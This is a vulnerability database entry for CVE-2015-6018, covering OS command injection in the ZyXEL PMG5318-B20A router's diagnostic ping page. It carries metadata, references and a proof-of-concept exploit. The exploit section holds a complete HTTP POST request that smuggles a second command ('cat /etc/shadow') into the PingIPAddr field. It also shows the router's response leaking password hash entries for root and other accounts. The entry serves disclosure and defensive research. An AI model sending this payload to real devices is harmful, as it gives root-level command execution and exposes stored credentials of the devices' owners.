ID
VAR-E-201510-0021
CVE
| cve_id: | CVE-2015-6018 | Trust: 2.1 |
EDB ID
38455
TITLE
ZYXEL PMG5318-B20A - OS Command Injection - Hardware webapps Exploit
Trust: 0.6
DESCRIPTION
ZYXEL PMG5318-B20A - OS Command Injection. CVE-2015-6018CVE-128874 . webapps exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | zyxel | model: | pmg5318-b20a | scope: | - | version: | - | Trust: 1.6 |
| vendor: | zyxel | model: | pmg5318-b20a os | scope: | - | version: | - | Trust: 0.5 |
EXPLOIT
# Exploit Title: [ZyXEL PMG5318-B20A OS Command Injection Vulnerability]
# Discovered by: Karn Ganeshen
# CERT VU# 870744
# Vendor Homepage: [www.zyxel.com]
# Version Reported: [Firmware version V100AANC0b5]
# CVE-2015-6018 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6018]
*Vulnerability Details*
CWE-20 <http://cwe.mitre.org/data/definitions/20.html>: Improper Input
Validation - CVE-2015-6018
The diagnostic ping function's PingIPAddr parameter in the ZyXEL
PMG5318-B20A, firmware version V100AANC0b5, does not properly validate user
input. An attacker can execute arbitrary commands as root.
*OS Command Injection PoC*
The underlying services are run as 'root'. It therefore, allows dumping
system password hashes.
*HTTP Request*
POST /diagnostic/diagnostic_general.cgi HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101
Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://<IP>/diagnostic/diagnostic_general.cgi
Cookie: session=a457f8ad83ba22dc256cd0b002c66666 Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------
-12062103314079176991367286444
Content-Length: 451
——————————————12062103314079176991367286444
Content-Disposition: form-data; name="InfoDisplay”
——————————————12062103314079176991367286444
Content-Disposition: form-data; name="*PingIPAddr*"
*8.8.8.8; cat /etc/shadow *
——————————————12062103314079176991367286444
Content-Disposition: form-data; name="Submit"
Ping
….
*HTTP Response *
.....
<snipped>
<br class="clearfloat" />
<!-- configuration beginning -->
<div class="headline"><span class="cTitle">General</span></div> <table
width="90%" border="0" align="center" cellpadding="0" cellspacing="0"
class="cfgpadding">
<tr>
<td nowrap="nowrap"><textarea name="InfoDisplay" rows="15" cols="100"
readonly="readonly”>
*root:<hash>:15986:0:99999:7:::
lp:*:13013:0:99999:7:::nobody:*:13013:0:99999:7:::admin:<hash>:16035:0:99999:7:::
user:<hash>:16035:0:99999:7:::*
</textarea></td>
</tr>
</table>
<table width="90%" border="0" align="center" cellpadding="0"
cellspacing="0" class="cfgpadding">
<tr>
-----------------------------12062103314079176991367286444--
Trust: 1.0
EXPLOIT LANGUAGE
txt
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
OS Command Injection
Trust: 1.0
TAGS
| tag: | exploit | Trust: 0.5 |
CREDITS
Karn Ganeshen
Trust: 0.6
EXTERNAL IDS
| db: | NVD | id: | CVE-2015-6018 | Trust: 2.7 |
| db: | EXPLOIT-DB | id: | 38455 | Trust: 1.6 |
| db: | EDBNET | id: | 81604 | Trust: 0.6 |
| db: | EDBNET | id: | 59552 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 133960 | Trust: 0.5 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2015-6018 | Trust: 2.1 |
| url: | https://www.intelligentexploit.com | Trust: 0.6 |
| url: | https://www.exploit-db.com/exploits/38455/ | Trust: 0.6 |
SOURCES
| db: | PACKETSTORM | id: | 133960 |
| db: | EXPLOIT-DB | id: | 38455 |
| db: | EDBNET | id: | 81604 |
| db: | EDBNET | id: | 59552 |
LAST UPDATE DATE
2022-07-27T09:56:28.523000+00:00
SOURCES RELEASE DATE
| db: | PACKETSTORM | id: | 133960 | date: | 2015-10-14T23:33:33 |
| db: | EXPLOIT-DB | id: | 38455 | date: | 2015-10-14T00:00:00 |
| db: | EDBNET | id: | 81604 | date: | 2015-10-16T00:00:00 |
| db: | EDBNET | id: | 59552 | date: | 2015-10-14T00:00:00 |